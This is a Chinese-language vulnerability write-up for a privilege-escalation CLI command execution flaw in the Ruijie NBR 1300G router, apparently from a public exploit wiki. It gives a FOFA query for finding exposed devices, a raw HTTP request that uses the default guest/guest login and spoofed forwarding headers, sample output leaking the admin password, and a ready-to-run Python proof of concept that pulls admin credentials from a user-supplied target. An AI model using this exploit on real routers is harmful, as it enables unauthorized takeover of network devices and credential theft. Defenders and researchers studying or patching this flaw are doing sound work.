# 锐捷NBR 1300G路由器 越权CLI命令执行漏洞
## 漏洞描述
锐捷NBR 1300G路由器 越权CLI命令执行漏洞，guest账户可以越权获取管理员账号密码
## 漏洞影响
> [!NOTE]
>
> 锐捷NBR路由器
## FOFA
> [!NOTE]
>
> title="锐捷网络 --NBR路由器--登录界面"
## 漏洞复现
登录页面如下
查看流量发现 CLI命令流量
请求包为
```
POST /WEB_VMS/LEVEL15/ HTTP/1.1
Host:
Connection: keep-alive
Content-Length: 73
Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: auth=; user=
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
command=show version&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
```
测试发现执行其他命令需要权限，查看手册发现存在低权限 guest账户（guest/guest）
登录后发送请求包，执行CLI命令 **(show webmaster user)** 查看用户配置账号密码
成功获取所有用户的账号密码
```
webmaster level 0 username admin password guest
webmaster level 0 username guest password guest
```
## 漏洞POC
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import base64
import requests
import random
import re
import json
import sys
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 锐捷NBRNBR1300G 路由器 越权CLI命令执行漏洞 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/WEB_VMS/LEVEL15/"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
data = 'command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.'
try:
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print("\033[36m[o] 正在执行 show webmaster user \033[0m".format(target_url))
if "webmaster" in response.text and " password" in response.text and response.status_code == 200:
user_data = re.findall(r'webmaster level 0 username admin password (.*?)<OPTION>', response.text)[0]
print("\033[36m[o] 成功获取, 管理员用户账号密码为: admin/{} \033[0m".format(user_data))
else:
print("\033[31m[x] 请求失败:{} \033[0m")
except Exception as e:
print("\033[31m[x] 请求失败:{} \033[0m".format(e))
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
```
